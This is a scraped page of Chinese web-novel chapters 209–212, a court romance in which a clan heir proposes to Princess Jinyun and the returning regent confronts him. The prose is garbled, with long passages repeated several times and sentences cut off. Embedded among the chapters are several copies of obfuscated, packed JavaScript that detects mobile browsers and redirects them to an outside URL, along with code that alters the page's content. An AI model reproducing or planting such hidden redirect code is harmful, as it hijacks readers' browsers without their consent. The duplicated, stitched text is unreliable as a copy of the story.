l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095306|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桀骜不驯,在皇权之下,也得低下头。 有些事情不挑破,那就相安无事。 一旦挑破,总要有个表态。 不管心里怎么想,他此时站在天子脚下,就得给大齐的皇帝一个明确的表态。 郑长荣一想到刚才的事,就极为不甘,从来没有被人逼到这种地步。 郑崔两家的脸都丢大了。 “你怕啥?千百年皇家都拿世家没办法。” 崔长洐淡淡的反问道,“那你怂什么?” 郑长荣沉默了良久,“我怕,她强行将我扣在京城,我们家的情况跟崔家不一样,崔家已经确定你是唯一的继承人,我父亲……已经老糊涂了,几个兄弟都虎视眈眈。” 而,锦云郡主完全干的出来。 人在屋檐下,不得不低头,他不想便宜了那些狠辣的兄弟。 “哎,惹恼了她,她有千百种手段搞世家,她这狠辣的心性,确实很适合官场。” 崔长洐眼睛微眯,“更适合我们崔家。” 郑长荣愣住了,“你疯了吗?还不肯放弃?” 崔长洐淡淡的道,“我这个人呢,从小到大只要最好的,宁缺毋滥。” 郑长荣犀利的指出,“你压不住她。” 崔长洐嘴角一翘,“我相信,真心换真心,只要我够努力,总有一天会打动她的。” 郑长荣微微摇头,表兄面具戴久了,谁都不知道他的底色。 但他知道,表兄从小就心眼子多,看似温润,其实凉薄至极。 “她有喜欢的人了。” 崔长洐一脸的傲气,“公平竞争,这世间的男儿皆不如我,她一定会选我!” “我也允许她继续当差,不会干涉她的任何决定。” 这对崔家也有好处。 “流水的王朝,铁打的世家,锦云郡主是聪明人,应该知道嫁给我,成为清河崔家的女主人,会有数不尽的好处。” 联姻是结两姓之好,利益绑定,情爱……根本不重要。 面对如此自信的表兄,郑长荣不知怎么的,脑海里蹦出一个人名。 “可,我想到了一个人,你恐怕胜不了他。” 崔长洐的眼睛危险的眯了起来,“是谁?” 第209章 啥?云筝要当清河崔氏宗妇了? 郑长荣深深的看了他一眼,“睿亲王。” 崔长洐不假思索的回道,“别闹,睿亲王是**贵胄,怎么可能看上……” 话说到这里,声音戛然而止,他脑海里浮现谷雨的那番话。 比他出色,比他优秀,比……他好看?难道是睿亲王? 但,那是一个残废啊! 郑长荣淡淡的提醒道,“明镜司护她跟护着主子似的。” 崔长洐心思飞转,“不足为患,就算真有什么,皇上是不会让他们在一起的。” 一个手握明镜司,一人之下,万人之上,权柄滔天。 一个掌控内务府广储司,挣钱能力极强。 若这两人在一起,皇上都要寝食难安了,这两人都是聪明人,不会犯糊涂的。 郑长荣张了张嘴,刚想说什么,一个奴婢匆匆走过来。 “两位公子,张总管请两位回去用膳。” 两人相视一眼,没再多说,跟着奴婢走回去。 经过会场时,两人看到商户们挤在一起领膳食。 崔长洐两人好奇的走过去,一盘盘热气腾腾的菜摆在桌上,商户们一边拿着托盘打菜,一边将银票扔进筐里。 一名奴婢头也不抬的递了一个托盘给崔长洐,“一份御膳一百两,自己取。” 崔长洐嘴角抽了抽,他还以为免费的。 有人不干了,“才这么点要一百两?这不是抢钱吗?” 是雷五,他一脸的不满。 打菜的明镜司很不耐烦,“你可以不吃,下一个。” 后面的人将雷五推到一边,“我吃,快给我一份。” 雷**能理解,“你们还真吃?” 那商户的肚子饿的咕咕叫,只想早点吃上饭。 “你是新人,不知道锦云郡主的规矩,套餐一直是这个价,爱吃不吃。我记得她有一句话甚为流传。” 大家的好奇心勾了起来,“什么?” 商户眼巴巴的盯着饭菜,口水直流,“天底下没有免费这种好事,若有,那肯定有个大坑等着你。” 众人:…… 崔长洐表兄弟俩面面相觑,说的好有道理。 明镜司催促道,“赶紧吃吧 ,这种机会不多,据说这两道菜是皇上最爱吃的。” “这道菜是皇后娘娘爱吃的,这道是贵妃娘娘爱吃的。” 这么一说,高低都要尝尝了,皇室同款的机会不多。 “给我一份。” “我也要一份。” “雷五爷,这真的是你家娘娘家吃的?” 雷五嘴角抽了抽,他们从来没有一起吃过饭,他怎么知道? “贵妃娘娘要是知道被如此宣传,肯定不会高兴的。” “那你快去告状。” 雷五翻个白眼,告个屁状,这银子肯定是进皇上口袋里。 讨厌,锦云郡主做事滴水不漏,要抓住她的把柄太难了。 “崔少主,郑少主,两位怎么还在这里?快跟我来,张总管还等着两位一起用膳呢。” 两人相视一眼,得,不管多少钱,这饭总要吃的。 凉棚下,每个人面前一个攒盒,四道菜,两道点心,一道汤,色香味俱全。 崔长洐瞟了一眼,他们表兄弟俩和张总管的饭菜一模一样,但,云筝的汤和点心不一样。 尝了尝饭菜,崔长洐有些意外的扬了扬眉,出乎意料的可口,看来真的是御厨做的。 张总管笑吟吟的问道,“这饭菜味道可还行?” 郑长荣尝了尝扣三鲜,味道极为鲜美。 “御厨出品,自然是非同凡响,味道是一绝。” 但,他怎么觉得更像是江南菜,而不是宫廷菜? 云筝拿着汤碗慢条斯理的喝着,闻声抬头,“那就好,记得把饭钱付了。” 崔长洐默了默,“还要付饭钱?我以为招待客人是基本的礼仪。” 云筝撇清关系,“我不请客。” “张总管,你请吗?” 张总管迟疑了一下,“我……” 他本来想说他来请客,但看着云筝闪闪发亮的眼睛,打了冷战。 不行,她早就盯上了他的位置,不能被她抓住任何把柄。 “穷,请不起。” 崔长洐都气笑了,“两位都应该不差钱吧。” 张总管笑着说道,“这是公务餐,还请见谅,等此间事了,我请两位去红袖楼好好吃一 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 顿。” 罢了,既来之,则安之。 吃饭时,崔长洐时不时的抬头观察对面的云筝,云筝像是没有察觉,自顾自的吃吃喝喝,举止落落大方,优雅而又从容。 倒是,谷雨狠狠瞪了他几眼。 吃饭就吃饭,这眼睛还不老实。 吃完饭,云筝美滋滋的吃着水果,工作再忙,也不能亏待了自己。 一道声音猛的响起,“锦云郡主,这花是我特意在花园采摘的,鲜花配美人,送你。” 是崔长洐,他笑吟吟的将一束盛开的鲜花送到云筝面前。 还别说,他的审美挺好的,花朵五彩六色,色彩斑斓,但极为赏心悦目。 这一番动静吸引了不少人看过来。 云筝视线落在茶束上,微微蹙眉,“送我?” 崔长洐深知一个道理,好东西要靠抢,手快则有,手慢则无。 “对,你是我此生见过的最出色,最特别的女子。” “锦云郡主,我心悦你。” 张总管的眼睛都直了,啥?云筝要当清河崔氏宗妇了? 天啊,这死丫头的运气真好! 千年第一世家宗妇的份量,谁懂? 底下更是一片骚动,“哇哦,我没听错吧,崔少主居然喜欢锦云郡主!” “可我怎么记得,崔家前不久办了选宗妇的宴会?锦云郡主难道给他做小?” “也不是不行,崔家连公主都看不上,锦云郡主嘛,不管怎么说已经嫁过一次,能给崔家少主当小,也是不错的归宿。” 崔长洐满脸的温柔,深情款款的说道,“锦云郡主,我是诚心诚意求娶,我可以对天发誓,若娶到你,此生不纳二色,绝无异腹子。” 就在大家感动时,一声巨响猛的响起,“轰隆隆。” 众人愣住了,“打雷了?妈呀,刚发誓就打雷,这不诚心啊。” “不是打雷……快看,是九千岁带兵回来了!” 一群全副戎装的骑士簇拥着一辆华丽马车过来了,行动之间,发出轰隆隆的声音。 车帘撩起,露出一张俊美无俦的脸,剑眉微微上挑,黑眸如寒星般凛冽,眼神锐利如鹰隼。 清冷又不失矜贵,透着一股不可侵犯的威严气质。 第210章 九千岁vs清河崔家少主 谷雨第一个冲过去迎接,还不忘告状,“九千岁,您总算回来了,清河崔家的少主居然厚着脸皮,当众求娶我家郡主。” 对,就是他家主子的。 “还当众发誓,说什么此生不纳二色,绝无异腹子,呵呵,痴人说梦话。” 厉无恙冰冷的目光扫向崔长洐,崔长洐感觉像被猛兽盯上了,无所遁形,后背发寒,喉咙发紧。 感觉到了强烈的危险! 他强自镇定,咬了咬牙,拜了下去,“见过九千岁。” 其他人如被提醒了般,齐刷刷的行礼。“见过九千岁。” 无数人跪倒在厉无恙面前,厉无恙的视线穿越人群,落在云筝身上,两人目光交汇,相视一笑。 他飘飘荡荡的心终于落到了实地。 云筝,他回来了! 他生平第一次觉得出差是件难熬的事,总在不经意间想起她。 吃饭时会想起她,这菜她爱吃。 看到什么有趣的事,想跟她分享。 看到漂亮的首饰,想给她买。 云筝眼睛晶晶亮,喜悦之情溢于言表。 真好,他平平安安的回到她身边。 这就够了! 骑士们下马,齐刷刷跪倒在马车前,“恭迎九千岁。” 马车是特制的,轻轻一按,车门打开,钢制的板子滑下来,轮椅稳稳的顺着板子下来。 “都起来吧。” 一群人簇拥着厉无恙的轮椅驶向棚子,商户们没人敢靠近。 等他一坐定,立春和立秋随侍一边,端茶送水,忙个不停。 棚子四周围满了全副武装的士兵,戒备森严。 云筝高高兴兴的凑过去,打量了他两眼,压低声音问道,“你的脸色有些苍白,有没有受伤?” 厉无恙嘴角轻轻上扬,“没,一路平安。” 是吗?云争没有多问,眼下不是交谈的好地方。 怎么瘦了?没有好好吃饭吗? “吃了吗?” 厉无恙看着她,舍不得眨眼,似有千言万语,却只能强自忍耐,“急着赶回来,来不及吃,有什么好吃的?” 云筝有些心疼,“烧鹅,脆皮乳猪,罗 汉大虾啊有一品官燕先喝一碗垫垫肚子吧。” 厉无恙心里一片滚烫但当着众人的面极为克制微微颌眉“好。” 云筝想了想“上车饺子下车面我让人给你煮碗罗汉面。” “好。”厉无恙整个人都柔和了下来没有了刚才进来时的肃杀之气。 生平第一次有人跟他说上车饺子下车面会为他张罗真好。 被人惦记的感觉陌生而又温暖身心都暖暖的。 站在棚外的崔长洐直勾勾的看着他们互动他们之间的互动自然又熟悉还有两人自成一方天地的氛围感。 他暗暗心惊“他们……一直是这样?” 站在他身边的张总管心里正不爽呢他都被挡在外面凭什么云筝能在里面? “这有什么奇怪的?你要是见过锦云郡主和皇上的相处模式也会吓一跳。” 他的语气酸溜溜的“她是个马屁精很擅长跟九千岁和皇上打交道能哄的他们高高兴兴护着她。” 云筝在皇上面前极为放松说话大胆张扬这是他永远做不到的。 郑长荣:……所以是他们少见多怪? 崔长洐眼神微闪心里有些不安难道云筝的心上人真的是睿亲王? “九千岁清河崔家崔长洐求见。” “荥阳郑氏郑长荣求见。” 厉无恙微微蹙眉看了云筝一眼云筝乌黑的眼睛眨巴眨巴无辜极了。 “放他们进来。” 眼见两人就要进去张总管不禁急了“九千岁我也想进来。” 他一个人站在外面算怎么回事?守门吗? 厉无恙淡淡瞥了一眼守卫就让开一条道“张总管请。” 三人进去后垂手站着。 崔长洐开口说道“九千岁我……” 云筝不耐烦的打断“先让他把饭吃完急什么又不是赶着投胎。” 厉无恙眼中闪过一丝笑意接过一品官燕喝了起来又吃了一碗热气腾腾的罗汉面。 他坐在这不怒自威 这不仅仅是**贵胄与生俱来的清贵还有他手握大权经历无数腥风血雨 ,磨练出来的凛然气势。 崔郑两家的世家公子在他面前,就像是刚出茅庐的小菜鸡。 崔长洐不动声色的打量着传说中权势滔天的九千岁,长相确实出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114471|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众,浑身气势逼人,但…… 他的目光落在厉无恙的双腿,立马一道冰冷的视线扫过来。 他身体一僵,“九千岁,您一路风尘仆仆,着实辛苦,怎么不先回王府休息?” 厉无恙淡淡的扫了他一眼,“清河崔家少主?” 崔长洐感受到了巨大的威压,比他在父亲身上感受到的还要强些。 “是。” 厉无恙放下碗筷,漫不经心的擦了擦嘴,“之前听说清河崔家是礼仪之家,今日一见,见面不如闻名,名不副实。” 这话无异是打崔家的脸。 崔长洐脸色微变,“请问,崔家做错了什么?” 厉无恙神色冷冷的,“你哪是求娶,分明是当众逼婚,但凡讲点礼仪规矩,第一步是登门求得女方家长的同意,再让媒人上门提亲,这才是尊重的做法。” 哪有向女方求亲的?而且是当众,全然不顾女方的名节。 是不值得他尊重吗? 谷雨在一边补刀子,“崔家懂什么规矩礼仪?九千岁,您太高看他们了,传言不实。” 还想跟他家主子抢,配吗? 崔长洐下意识的看向云筝,云筝面色平静无波,他心里一紧。 “郡主,请您相信,我是一时情难自禁,绝无半点不尊重之意。” 云筝心里跟明镜似的,“你不过是站在高处久了,盛气凌人习惯了,凡事用手段,没有半点真心而已。” 大家族培养出来的继承人,精明的可怕,都是权衡利弊的高手。 她有利用价值,就想娶回家镇宅。 没有利用价值,就藏在外宅亵玩。 真心?不值钱! 崔长洐暗暗心惊,“不是的,我……” 以清河崔家的声誉和威望,不知有多少女子想嫁进崔家。 就连五姓七望的女郎都盛装出席选宗妇宴,只求雀屏中选。 他习惯了女子千方百计往身上扑,主动讨好女子,还真不会。 云筝面露嘲讽之色,大声问道,“若,今日换成了皇室公主,你也敢如此放肆吗?” 现场一静,这问题……太致命了! 厉无恙眼神一凛,冷冽如冰。 谷雨见状,嘴角轻轻上扬,有人要倒霉了,哈哈哈。 第211章 献宝?献女 崔长洐脸色大变这是一个两难的选择。 若回答是会被皇室记恨! 若回答不是他这辈子都别想让云筝多看一眼。 他唯有紧闭嘴除了沉默还是沉默。 云筝看的很清楚“说到底你觉得我适合崔家能带给崔家最大的利益但出身商贾又跟平西侯府有过婚约配不上你。” 自古以来联姻是门当户对相同的背景相同的阶层利益交换是相当的。 在清贵的世家眼里云家始终是上不了台面的商贾出身。 崔长洐怔怔的看着她她理智的可怕可为什么看着她清冷的眼睛他的心莫名的狂跳? 他病了吗? 他觉得还可以挽救一下“锦云郡主您太多心了这束鲜花代表着我对……” 不等他说完云筝就主动打断道“十一朵花一朵一百两 “啥?”崔长洐呆住了。 云筝奇怪的反问“难道没人告诉过你有主的东西是不能随便拿的吗?” “而沁园的主人是我这里的一切都是我的没有我的允许贸然采摘花园中的鲜花这不妥吧。“ 她话风一转“不过我向来大度看在清河崔家的份上就让你用银子赔礼道歉。” 崔长洐无奈的叹了一口气默默从怀里掏出一把银票递过去。 云筝看了一眼春华春华上前接过银票数了一千一百两多出来的退了回去。 云筝没接钱直接吩咐下去“这钱分了吧今日跟来的都算一份。” “是。”春华的语气雀跃无比。 张总管看的眼热立马说道“我本来可以不来但给了你最大的体面跟过来应该分我一份。” 云筝无语望天“你又不差钱。” 张总管据理力争“一桩归一桩我今日受了很大委屈你得补偿。” 云筝懒的跟他计较“行分你一份。” 崔长洐嘴角直抽内务府上上下下的画风都很清奇。 他们都很爱钱!当众谈钱也不羞耻。 但锦云郡主是个极其矛盾又复杂的人爱钱又不是很爱钱对属下阔绰大方。 郑长荣冷不防开口,“九千岁,锦云郡主刚才说要向皇上进言,截断清河上游的水源,她太年轻,不知道后果有多严重,您千万不要怪她。 他看似求情,其实是告状。 在场的人都是聪明人,都听出来了。 崔长洐深深的看了他一眼,他在试探什么? 很快,他们就试探出结果了。 厉无恙神色不变,摇头叹息,“是太年轻了,这种事情默默干完,再将黑锅推给对家,天知地知自己知就行,半片绿叶不沾身。 郑长荣目瞪口呆,他也太凶残了吧,还特别护短。 崔长洐:……这个更狠! 厉无恙看向云筝,眼中多了一丝温柔,“清河崔家怎么得罪你了? 云筝气鼓鼓的告状,“他家不肯献清河纸! 厉无恙眼神一冷,语气越发凉薄,“那让崔家交出清河纸的秘方,不交,以不敬皇室的罪名,抄家。 云筝的眼睛刷的亮了,“清河崔家积累了千年的财富相当可观,可以说是富可敌国,这可是一只大肥羊,可以让国库和皇上的私库填满。 两人认认真真的商量怎么抄崔家,怎么落实罪名,怎么处置崔家几千号人,挺像一回事的。 他们居然对崔家错综复杂的宗族人物关系了如指掌,主支旁支有什么出挑的人物,谁干过伤天害理的缺德事,随口道来。 一个枝繁叶茂大家族,良莠不齐,总有些仗势欺人,嚣张跋扈的子孙。 像崔家,就有不少欺压百姓,强夺百姓财产的子弟。 崔长洐在一边听的毛骨悚然,他们当着崔家人的面这么说话礼貌吗? 他闭了闭眼,“九千岁,崔家愿意进献清河纸的秘方。 不可能抄家,但抓一批犯错的子弟,让崔家伤筋动骨,让崔家的名声受损,还是可以的。 罢了,识务者为俊杰,花钱消灾。 云筝满意的扬了扬眉,“还是九千岁厉害,我好说歹说,他才肯进献五千刀清河纸,您一出面,他立马献秘方了。 厉无恙漫不经心的说道,“有些人敬酒不喝,就爱喝罚酒。 云筝眼珠一转,“话说,你们俩好不容易见到九千岁,就不表示一下? 郑长荣呆了呆, “啊?” 平时都是别人进献给郑家。 云筝笑眯眯的说道,“九千岁跟我不一样,我只喜欢俗气的银子,九千岁眼光高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114472|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 厉无恙抬眸,神色淡漠如雪,“听闻崔家有定风珠,郑家有避水珠,本王想见识一下。” 定风珠控制风力之物,对航海来说,是无价之宝。 而避水珠,能在水中来去自如,都是稀世珍宝。 崔长洐和郑长荣脸色大变,后背发冷,仅仅是见识一下?信吗? 崔长洐拱了拱手,掷地有声,‘“那是传言,家中绝无此物。” “崔家向九千岁,进献一座玲珑七宝塔,一尊半人高的**树,鲛人绡,孔雀羽,名画两张。” 郑长荣立马跟进,“郑家向九千岁进献琉璃莲花灯,翠玉玲珑棋,玉容膏,香玉辟邪,孤本两册。” 厉无恙定定的看着他们,浑身的威压让他们满头大汗,心慌意乱。 就在此时,外面传来通禀声。 “九千岁,雷五爷求见。” 谷雨小声说道,“雷五,贵妃娘娘的侄子,皇商资格被郡主除去,心有怨恨。” 厉无恙神色淡淡的,“不见。” 外面传来雷五的嚷嚷声,“九千岁,我要向您进献一宝物。” 宝物?云筝眼睛一亮,“让他进来呗。” 厉无恙看了侍卫一眼,侍卫让开道,雷五麻溜的跑进来。 “九千岁,见到您实在太好了,自从上次远远见过您的风姿,我就念念不忘……” 厉无恙不耐烦的打断,“说重点。” 雷五张口就来,“我嫡长女温顺乖巧,极会侍候人,我愿将她献给九千岁,为奴为婢全由您作主。” 嘴上虽这么说,但他心里笃定,九千岁怎么敢让贵妃娘娘的亲人当奴婢,怎么也能捞到一个妾室的名份。 在场的人都惊呆了,当众献女? 雷家的脸都不要了?! 云筝的脸耷拉了下来,Md,还宝物呢,晦气。 厉无恙见状,嘴角轻轻上扬,生气了?他家筝儿好可爱! 他心里一动,“可。” 大家齐刷刷的看向他,就这么收下了?说好的不近女色呢? 谷雨不敢置信的瞪大眼睛,不是吧?主子,您玩什么呀?别玩脱了。 云筝嘴唇紧抿,一双黑白分明的眼睛狠狠瞪着他,奶凶奶凶的。 可恶! 第212章 这雷家女不敢收,特进献给皇上 雷五心中狂喜啊啊啊他成功了! 他终于攀上了九千岁!他要成为九千岁的岳父了!激动! 若女儿能一举生下九千岁的儿子那一辈子的荣华富贵都有了还能带着全家一起飞升。 就在他兴奋的无以复加时耳边传来厉无恙清冷的声音。 “什么时候将人送来?” 雷五爷喜笑颜开没想到睿亲王这么着急看来对他的女儿很满意。 也是有贵妃娘娘在雷家女的名声好着呢一女百家求。 “啊不如挑一个黄道吉日办个仪式双方都体面可好?” 他还想借机拿乔谈一谈女儿的待遇正妃不行那就求一个侧妃的位置。 假以时日仗着宫中的关系将正妃挤下去。 厉无恙神色很淡漠“不必 谷雨面有苦色“主子。” 